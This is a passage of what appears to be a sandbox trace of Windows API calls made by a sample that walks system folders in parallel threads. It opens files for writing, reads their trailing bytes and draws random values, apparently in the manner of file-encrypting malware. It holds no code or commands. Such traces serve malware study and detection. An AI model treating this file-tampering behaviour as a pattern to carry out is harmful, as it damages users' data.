_String2=".") returned 1 [0075.062] wcscmp (_String1="SHS-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1 [0075.062] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41355b6d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x41355b6d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x7313b7f3, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-11~4.BIN")) returned 1 [0075.062] wcscmp (_String1="SHS-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1 [0075.062] wcscmp (_String1="SHS-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1 [0075.062] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc44ebf9e, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xc44ebf9e, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf7186f57, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHFCB7~1.BIN")) returned 1 [0075.062] wcscmp (_String1="SHS-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1 [0075.062] wcscmp (_String1="SHS-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1 [0075.062] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x444f8b5f, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x444f8b5f, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x57b398d2, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-11~1.BIN")) returned 1 [0075.062] wcscmp (_String1="SHS-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1 [0075.062] wcscmp (_String1="SHS-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1 [0075.062] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69870cf2, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x69870cf2, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x13731c69, ftLastWriteTime.dwHighDateTime=0x1d35e04, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-11~2.BIN")) returned 1 [0075.062] wcscmp (_String1="SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1 [0075.062] wcscmp (_String1="SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1 [0075.062] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69870cf2, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x69870cf2, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x13731c69, ftLastWriteTime.dwHighDateTime=0x1d35e04, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-11~2.BIN")) returned 0 [0075.063] FindClose (in: hFindFile=0x3434228 | out: hFindFile=0x3434228) returned 1 [0075.063] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f51f0) returned 1 [0075.063] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccd70) returned 1 [0075.063] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd570) returned 1 [0075.063] RtlExitUserThread (Status=0x0) Thread: id = 725 os_tid = 0xe0 [0075.065] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x60) returned 0x3426b88 [0075.065] wcscpy (in: _Dest=0x3426b88, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" [0075.065] wcscat (in: _Dest=0x3426b88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\" [0075.065] wcscat (in: _Dest=0x3426b88, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\*" [0075.065] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f51f0 [0075.065] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\*", lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb2396478, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb2396478, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434228 [0075.067] wcscmp (_String1=".", _String2=".") returned 0 [0075.067] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb2396478, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb2396478, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.067] wcscmp (_String1="..", _String2=".") returned 1 [0075.067] wcscmp (_String1="..", _String2="..") returned 0 [0075.067] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b08c11, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActivityLog", cAlternateFileName="ACTIVI~1")) returned 1 [0075.067] wcscmp (_String1="ActivityLog", _String2=".") returned 1 [0075.067] wcscmp (_String1="ActivityLog", _String2="..") returned 1 [0075.067] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33cd7f0 [0075.067] wcscpy (in: _Dest=0x33cd7f0, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" [0075.067] wcscat (in: _Dest=0x33cd7f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\" [0075.067] wcscat (in: _Dest=0x33cd7f0, _Source="ActivityLog" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog" [0076.615] Sleep (dwMilliseconds=0x1) [0076.620] Sleep (dwMilliseconds=0x1) [0077.562] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cd7f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9ac [0077.563] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0960f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbd313219, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Coverpages", cAlternateFileName="COMMON~1")) returned 1 [0077.563] wcscmp (_String1="Common Coverpages", _String2=".") returned 1 [0077.563] wcscmp (_String1="Common Coverpages", _String2="..") returned 1 [0077.563] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x80) returned 0x347ef90 [0077.563] wcscpy (in: _Dest=0x347ef90, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" [0077.563] wcscat (in: _Dest=0x347ef90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\" [0077.563] wcscat (in: _Dest=0x347ef90, _Source="Common Coverpages" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages" [0077.563] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347ef90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b0 [0077.563] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0ac24, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Inbox", cAlternateFileName="")) returned 1 [0077.563] wcscmp (_String1="Inbox", _String2=".") returned 1 [0077.563] wcscmp (_String1="Inbox", _String2="..") returned 1 [0077.563] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347e110 [0077.564] wcscpy (in: _Dest=0x347e110, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" [0077.564] wcscat (in: _Dest=0x347e110, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\" [0077.564] wcscat (in: _Dest=0x347e110, _Source="Inbox" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox" [0077.564] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347e110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f0 [0077.564] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0b3ba, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Queue", cAlternateFileName="")) returned 1 [0077.564] wcscmp (_String1="Queue", _String2=".") returned 1 [0077.564] wcscmp (_String1="Queue", _String2="..") returned 1 [0077.564] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347dc40 [0077.564] wcscpy (in: _Dest=0x347dc40, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" [0077.564] wcscat (in: _Dest=0x347dc40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\" [0077.564] wcscat (in: _Dest=0x347dc40, _Source="Queue" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue" [0077.564] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347dc40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ec [0077.565] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0bae7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Queue_Migrated", cAlternateFileName="")) returned 1 [0077.565] wcscmp (_String1="Queue_Migrated", _String2=".") returned 1 [0077.565] wcscmp (_String1="Queue_Migrated", _String2="..") returned 1 [0077.565] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7a) returned 0x347f128 [0077.565] wcscpy (in: _Dest=0x347f128, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" [0077.565] wcscat (in: _Dest=0x347f128, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\" [0077.565] wcscat (in: _Dest=0x347f128, _Source="Queue_Migrated" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue_Migrated") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue_Migrated" [0077.565] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347f128, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e8 [0077.566] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0c408, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SentItems", cAlternateFileName="SENTIT~1")) returned 1 [0077.566] wcscmp (_String1="SentItems", _String2=".") returned 1 [0077.566] wcscmp (_String1="SentItems", _String2="..") returned 1 [0077.566] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0077.566] wcscpy (in: _Dest=0x3479a60, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" [0077.566] wcscat (in: _Dest=0x3479a60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\" [0077.566] wcscat (in: _Dest=0x3479a60, _Source="SentItems" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems" [0077.566] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3479a60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a8 [0077.567] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0ccc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VirtualInbox", cAlternateFileName="VIRTUA~1")) returned 1 [0077.567] wcscmp (_String1="VirtualInbox", _String2=".") returned 1 [0077.567] wcscmp (_String1="VirtualInbox", _String2="..") returned 1 [0077.567] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x76) returned 0x33cce70 [0077.567] wcscpy (in: _Dest=0x33cce70, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" [0077.567] wcscat (in: _Dest=0x33cce70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\" [0077.567] wcscat (in: _Dest=0x33cce70, _Source="VirtualInbox" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox" [0077.567] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cce70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f4 [0077.568] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0ccc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VirtualInbox", cAlternateFileName="VIRTUA~1")) returned 0 [0077.568] FindClose (in: hFindFile=0x3434228 | out: hFindFile=0x3434228) returned 1 [0077.569] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f51f0) returned 1 [0077.569] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426b88) returned 1 [0077.569] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427208) returned 1 [0077.569] RtlExitUserThread (Status=0x0) Thread: id = 726 os_tid = 0x6c8 [0075.068] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347dbd0 [0075.068] wcscpy (in: _Dest=0x347dbd0, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan" [0075.068] wcscat (in: _Dest=0x347dbd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\" [0075.068] wcscat (in: _Dest=0x347dbd0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\*" [0075.068] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f5458 [0075.068] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\*", lpFindFileData=0x33f5458 | out: lpFindFileData=0x33f5458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0e356, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434268 [0075.068] wcscmp (_String1=".", _String2=".") returned 0 [0075.068] FindNextFileW (in: hFindFile=0x3434268, lpFindFileData=0x33f5458 | out: lpFindFileData=0x33f5458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0e356, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.068] wcscmp (_String1="..", _String2=".") returned 1 [0075.068] wcscmp (_String1="..", _String2="..") returned 0 [0075.068] FindNextFileW (in: hFindFile=0x3434268, lpFindFileData=0x33f5458 | out: lpFindFileData=0x33f5458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d027e99, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9d027e99, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9d04e0f0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7e148, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeScan.jpg", cAlternateFileName="")) returned 1 [0075.068] wcscmp (_String1="WelcomeScan.jpg", _String2=".") returned 1 [0075.068] wcscmp (_String1="WelcomeScan.jpg", _String2="..") returned 1 [0075.068] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x347eb50 [0075.068] wcscpy (in: _Dest=0x347eb50, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan" [0075.068] wcscat (in: _Dest=0x347eb50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\" [0075.068] wcscat (in: _Dest=0x347eb50, _Source="WelcomeScan.jpg" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg" [0076.614] Sleep (dwMilliseconds=0x1) [0076.620] Sleep (dwMilliseconds=0x1) [0077.569] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347eb50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b4 [0077.570] FindNextFileW (in: hFindFile=0x3434268, lpFindFileData=0x33f5458 | out: lpFindFileData=0x33f5458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d027e99, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9d027e99, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9d04e0f0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7e148, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeScan.jpg", cAlternateFileName="")) returned 0 [0077.570] FindClose (in: hFindFile=0x3434268 | out: hFindFile=0x3434268) returned 1 [0077.570] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f5458) returned 1 [0077.570] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dbd0) returned 1 [0077.570] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34273a8) returned 1 [0077.570] RtlExitUserThread (Status=0x0) Thread: id = 727 os_tid = 0xa80 [0075.069] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Live\\WLive48x48.png" (normalized: "c:\\users\\all users\\microsoft\\windows live\\wlive48x48.png")) returned 0x20 [0075.070] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Live\\WLive48x48.png", dwFileAttributes=0x20) returned 1 [0075.071] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Live\\WLive48x48.png" (normalized: "c:\\users\\all users\\microsoft\\windows live\\wlive48x48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9bc [0075.071] GetFileSizeEx (in: hFile=0x9bc, lpFileSize=0x1b93fef8 | out: lpFileSize=0x1b93fef8*=4657) returned 1 [0075.071] SetFilePointerEx (in: hFile=0x9bc, liDistanceToMove=0x122d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.071] ReadFile (in: hFile=0x9bc, lpBuffer=0x1b93fecc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1b93fec8, lpOverlapped=0x0 | out: lpBuffer=0x1b93fecc*, lpNumberOfBytesRead=0x1b93fec8*=0x4, lpOverlapped=0x0) returned 1 [0075.072] SetFilePointerEx (in: hFile=0x9bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.072] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479188 [0075.072] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478e90 [0075.072] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478eb8 [0075.072] NtQuerySystemTime (in: CurrentTime=0x1b93fea4 | out: CurrentTime=0x1b93fea4*=132121176329721280) returned 0x0 [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0x874ba37 [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0x33132253 [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0x108da604 [0075.073] 